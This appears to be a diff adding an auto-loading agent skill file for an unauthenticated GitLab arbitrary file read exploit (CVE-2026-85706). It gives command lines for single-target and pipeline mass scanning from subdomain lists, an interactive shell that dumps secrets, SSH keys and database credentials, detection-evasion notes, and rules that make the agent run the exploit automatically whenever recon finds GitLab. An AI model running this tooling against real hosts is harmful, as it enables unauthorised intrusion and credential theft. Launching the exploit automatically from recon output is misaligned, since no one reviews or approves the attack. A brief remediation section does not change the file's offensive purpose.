git:20260921.3a32414 to git:20260925.9330cc6

2 added, 0 removed. Audit C to A.

---
+ name: gitlab-exploit
+ description: GitLab CE/EE unauthenticated arbitrary file read (CVE-2026-85706) via Workhorse path-encoding bypass, with secret extraction and a leaks/oracle-driven verdict. Use when assessing a GitLab instance for the Workhorse encoding bypass, harvesting tokens from readable files, or deciding whether a target is exploitable from its own response.
domain: security
category: exploit
trigger:
- gitlab-exploit
- cve-2026-85706
- gitlab arbitrary file read
- gitlab unauthenticated
- gitlab lfi
- gitlab workhorse
- gitlab secrets
auto_load: true
---
# gitlab-exploit — CVE-2026-85706
GitLab CE/EE unauthenticated arbitrary file read via Workhorse path-encoding bypass.
## Affected Versions
- GitLab CE/EE **18.7.0–19.1.7**
- GitLab CE/EE **19.2.0–19.2.5**
- GitLab CE/EE **19.3.0–19.3.1**
**Patched:** 19.1.8 / 19.2.6 / 19.3.2
## Vulnerability Summary
Workhorse regex validates the encoded path; Puma decodes it; Rails `File.open(file.path)` executes **before** authentication check. Malformed percent-encoding in multipart upload paths gets interpolated into the HTTP 400 error body → arbitrary file contents leak.
**Impact:** Read `/etc/passwd`, `/etc/gitlab/gitlab-secrets.json`, Rails secrets, SSH keys, database credentials, application source code.
**CVSS:** 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
**Reporter:** s3ntago (HackerOne)
**PoC Ref:** `guneykabel/cve-2026-85706`
## Usage
### Single Target
```bash
# Auto-detect + loot default secrets
python3 testing/gitlab-exploit/gitlab_exploit.py -u https://gitlab.example.com --auto
# Read specific file
python3 testing/gitlab-exploit/gitlab_exploit.py -u https://gitlab.example.com --file /etc/passwd
# Interactive shell
python3 testing/gitlab-exploit/gitlab_exploit.py -u https://gitlab.example.com --shell
```
### Pipeline Mode
```bash
# Subfinder + httpx → gitlab-exploit
subfinder -d target.com -silent \
| httpx -silent -sc -td -title \
| python3 testing/gitlab-exploit/gitlab_exploit.py --pipe --auto -o hits.jsonl
# From file
cat hosts.txt | python3 testing/gitlab-exploit/gitlab_exploit.py --auto
```
## Interactive Shell Commands
```
cat <path> — read arbitrary file
loot — dump default secrets (gitlab-secrets.json, database.yml, secrets.yml)
secrets — dump Rails secrets.yml
passwd — read /etc/passwd
version — detect GitLab version
project <id> — fetch project info via API
curl <path> — raw GET request
help — show commands
exit — quit shell
```
## Output
- **stdout:** color-coded progress + results
- **JSONL:** `--output hits.jsonl` for pipeline integration
- **Quiet:** `-q` suppresses banner/logs
## Detection Evasion
- Custom User-Agent: `gitlab-exploit/1.2 (+https://github.com/novaestellar/novahaku)`
- Randomized project IDs for commits endpoint discovery
- No signature in error responses (leverages existing Rails 400 handler)
## Remediation
1. Upgrade to patched version (19.1.8 / 19.2.6 / 19.3.2+)
2. WAF rule: block `%` in multipart filename fields
3. Monitor for 400 errors with file content in response body
## References
- CVE-2026-85706
- HackerOne report by s3ntago
- PoC: `guneykabel/cve-2026-85706`
## Integration
Auto-loaded when Novahaku detects: `gitlab`, `cve-2026-85706`, `workhorse`, `arbitrary file read`, or GitLab-related recon output.
**Router dispatch:** `loader.py` maps GitLab recon → `gitlab-exploit` auto-execution.
## Pitfalls
- **False negatives:** Version detection via `/api/v4/version` requires unauth API access (may be disabled). Use `--auto` to try exploit regardless.
- **Rate limiting:** GitLab may block rapid requests. Use `--delay` for large-scale scans.
- **Commit endpoint discovery:** Requires valid project ID. Tool bruteforces common IDs (1-50); extend range with `--project-range`.